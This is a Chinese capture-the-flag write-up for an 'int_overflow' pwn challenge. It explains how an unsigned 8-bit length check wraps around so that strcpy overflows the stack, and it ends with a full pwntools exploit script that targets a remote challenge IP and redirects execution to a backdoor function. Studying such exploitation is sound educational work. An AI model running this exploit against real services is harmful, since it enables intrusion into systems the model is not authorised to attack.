当前位置: 首页 > news >正文

PWN手的成长之路-19-int_overflow

image

file,checksec:
image

main函数:
image

login函数:
image
程序先让用户输入用户名,并存储到变量 s 中,之后再从 s 中读取 0x19 位,并打印出来。然后让用户输入密码,读取 0x199 个字节存储到 buf 缓冲区,然后检查 buf。

check_passwd函数:
image
程序创建了一个 in8 类型无符号的 v3 变量,之后检查 v3 的长度,如果长度在 3-8 之间则打印 success,并把变量 s 复制到 dest 变量中,这个 srcpy() 就是一个会造成栈溢出的函数,因为他在复制时不会考虑长度。但是若 v3 长度不在 3-8 之间,则返回密码无效。

程序创建了一个 in8 类型无符号的 v3 变量,之后检查 v3 的长度,如果长度在 3-8 之间则打印 success,并把变量 s 复制到 dest 变量中,这个 srcpy() 就是一个会造成栈溢出的函数,因为他在复制时不会考虑长度。但是若 v3 长度不在 3-8 之间,则返回密码无效。

以下参考 1000x_ 师傅的文章:
无符号 int8 的最大值是 2^8-1=255,因为多出来的部分在 C/C++ 代码中会回绕,即 256 回绕成 0 ,257 回绕成 1 ,以此类推,我们需要字符长度到达 3 的话,我们传入的大小最小应该为 259。

攻击思路:首先在choice时,选择 1,再输入用户名(随便输入),之后再溢出密码区域,dest 和 s。
查看 dest 的栈,它需要溢出 0x14+4,之后让其跳转到 backdoor 函数,也就是 what_is_this 函数的内存地址,但是,想要让复制操作执行,首先需要通过前面的 if ( v3 <= 3u || v3 > 8u ) 语句,即:让 v3 = strlen(s) 的长度保持在 0x04~0x08,也就是 buf 的长度要保持在 0x104~0x108
因此,除去前面为 buf 构造 payload 所用的 b'a' * (0x14 - 0x00 + 0x04) + p32(elf.symbols["what_is_this"]) 以外,还要在后面继续填充垃圾字符,让 buf 的长度在 0x104~0x108 之间。

exp:

from pwn import *
from LibcSearcher import *#start
r = remote('61.147.171.103',59035)
elf = ELF('./pwn')
context.log_level = 'debug'#params
backdoor_addr = elf.symbols['what_is_this']#attack
payload = b'a'*(0x14+4) + p32(backdoor_addr) 
payload = payload.ljust(0x104,b'a') #实现在 `payload` 右边添加 `b'a'` 一直将 `payload` 的长度填充至 `0x104`
r.sendlineafter(b'choice',b'1')
r.sendlineafter(b'username',b'111')
r.sendlineafter(b'passwd',payload)
r.interactive()
http://www.zskr.cn/news/24301.html

相关文章:

  • 关于火柴盒的记忆
  • 2025 年闪测仪厂家企业品牌推荐排行榜,一键式闪测仪,卧式闪测仪,影像闪测仪,立式闪测仪,2D3D 混合式闪测仪,高精度闪测仪,大量程闪测仪,复合式闪测仪公司推荐
  • 2025 年反应釜厂家企业品牌推荐排行榜,实验室,高压,加氢,不锈钢,试验室,氢化,聚合,高温,钛材反应釜公司推荐
  • 2025 年清污机厂家企业品牌推荐排行榜,四川清污机,格栅清污机,回转式清污机,回转式格栅清污机,不锈钢清污机公司推荐公司推荐
  • 2025年卫衣厂家推荐排行榜,秋冬新款卫衣,情侣卫衣,运动休闲卫衣,潮流时尚卫衣公司推荐!
  • AI视频换人工具来了!动作表情完美还原,附下载链接
  • 下一代超级计算的CPU设计之道
  • 10.18 学校模拟赛 T4
  • 【GitHub-SSH】Linux 通用生产ssh-key命令
  • 2025年不锈钢清洗钝化液厂家推荐榜单,环保型不锈钢管酸洗钝化液,不锈钢清洗剂公司精选!
  • 2025年棒球帽厂家推荐排行榜,运动棒球帽,休闲棒球帽,时尚棒球帽,定制棒球帽公司推荐!
  • 22-envoy-proxy-Ubuntu安装
  • 11. Spring AI + ELT - Rainbow
  • 2025年不锈钢清洗钝化液厂家推荐排行榜,环保型不锈钢管酸洗钝化液,不锈钢清洗剂公司精选!
  • 2025年10月长白山亲子酒店推荐:松果里领衔对比评测排行榜
  • 2025年10月长白山亲子酒店推荐:松果里领衔对比评测榜
  • 2025年10月石墨电极厂家推荐榜:河北晶碳科技深度评测与对比
  • 2025年卫衣厂家推荐排行榜,春秋冬款卫衣,男女同款卫衣,运动休闲卫衣,潮流时尚卫衣公司推荐!
  • 2025年10月北京口腔医院推荐:雅强与劲松领衔对比评测榜
  • 2025年10月智能体公司推荐:五强对比评测榜助企业选型
  • 2025年棒球帽厂家推荐排行榜,运动棒球帽,时尚棒球帽,定制棒球帽,防晒棒球帽公司推荐!
  • 2025年10月留香沐浴露推荐:五强对比评测榜助你精准锁定持久体香
  • 2025年10月工程管理系统推荐:十强榜单全维度对比评测
  • 2025年10月国际集运公司推荐:全链路对比评测榜与避坑指南
  • 2025年10月制冰机产品推荐:十款热门机型对比评测榜
  • 2025年10月北京金融街附近豪华酒店对比排行与实用评测指南
  • 2025年10月深圳酒店综合对比与实用排行榜解析
  • 2025年10月深圳酒店住宿选择对比与排名指南
  • 2025年10月北京治疗肺癌医生综合对比与实力排行榜分析